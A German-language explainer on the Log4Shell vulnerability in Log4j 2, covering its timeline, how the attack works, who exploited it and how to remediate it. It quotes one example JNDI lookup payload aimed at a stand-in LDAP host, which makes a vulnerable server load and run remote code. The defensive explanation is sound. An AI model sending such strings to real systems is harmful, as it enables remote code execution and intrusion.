Log4Shell (CVE-2021-44228)

Am 9. Dezember 2021 wurde eine Schwachstelle in Log4j 2 bekannt, der Logging-Bibliothek, die in nahezu jeder Java-Anwendung steckt. Innerhalb weniger Stunden scannte das gesamte Internet danach. Ganz neu war die Lücke für Angreifer allerdings nicht: Cloudflare sah ab dem 1. Dezember vereinzelte Tests, Cisco Talos beobachtete ab dem 2. Dezember Angriffsaktivität. Log4Shell gilt seitdem als Musterbeispiel dafür, wie tief eine einzelne Komponente in einer Softwarelieferkette sitzen kann.

Was ist Log4Shell

Log4j konnte Werte in einer Logzeile nachschlagen und ersetzen. Eine Zeichenfolge wie ${jndi:ldap://beispiel.de/a} war für die Bibliothek kein Text, sondern eine Anweisung: hole etwas von diesem Server und führe es aus. Alles, was eine Anwendung protokolliert, konnte diese Anweisung enthalten, und Anwendungen protokollieren fast alles: einen Benutzernamen, einen Suchbegriff, einen User-Agent-Header.

Wie der Angriff abläuft

Der Angreifer setzt die Zeichenfolge in ein Feld, von dem er vermutet, dass es protokolliert wird. Oft war das schlicht der User-Agent einer HTTP-Anfrage. Sobald die Anwendung diese Zeile schrieb, baute der Server selbst eine Verbindung zum Angreifer auf, holte eine Java-Klasse und führte sie aus. Ohne Zugangsdaten, ohne Zutun eines Mitarbeiters.

Im Kern ist das eine Injection: Eingaben des Angreifers werden als JNDI-Lookup-Ausdruck ausgewertet (CWE-917). Die ausgehende Verbindung ist nur das Mittel. Der Schaden entsteht, weil der Server eine Klasse von einem Server des Angreifers lädt und ausführt, und so wird aus einer Logzeile Remote Code Execution.

Wer sie ausnutzte

Ein breites Spektrum an Angreifern. Kriminelle Gruppen scannten das Internet in großem Stil, und oft war die erste Nutzlast ein Kryptominer oder Botnetz-Malware wie Mirai. Staatliche Akteure folgten. Die CISA beschrieb zum Beispiel, wie von der iranischen Regierung unterstützte Akteure über einen ungepatchten VMware-Horizon-Server in eine US-Bundesbehörde eindrangen, einen Kryptominer installierten und zum Domain Controller weiterzogen. Dieser Einbruch reichte mindestens bis Februar 2022 zurück, zwei Monate nach Erscheinen des Patches.

Warum es sich so lange hinzog

Log4j wird selten bewusst installiert. Es kommt als Abhängigkeit eines Frameworks, das wiederum mit dem Produkt eines Herstellers kommt. Organisationen wussten schlicht nicht, wo es lief. Anwendungen, die nie gepatcht wurden, werden Jahre später noch gefunden und ausgenutzt.

Was jetzt zu tun ist

• Inventarisieren Sie, welche Anwendungen Log4j 2 nutzen, indirekte Abhängigkeiten eingeschlossen. Eine Software Bill of Materials macht das wiederholbar.
• Betreiben Sie ein Log4j-2-Release, das noch gepflegt wird. Log4Shell selbst wurde in 2.15.0 geschlossen (2.12.2 unter Java 7, 2.3.1 unter Java 6); alle drei Folgelücken sind ab 2.17.1, 2.12.4 und 2.3.2 behoben. Die Linien für Java 7 und Java 6 erhalten keine Updates mehr, und spätere Releases haben auch andere Probleme behoben.
• Begrenzen Sie ausgehenden Verkehr von Servern. Ohne die Möglichkeit, nach außen zu telefonieren, scheitert die zweite Stufe des Angriffs.
• Prüfen Sie, ob ab Dezember 2021 etwas hereingekommen ist. Damals erlangter Zugang kann noch bestehen.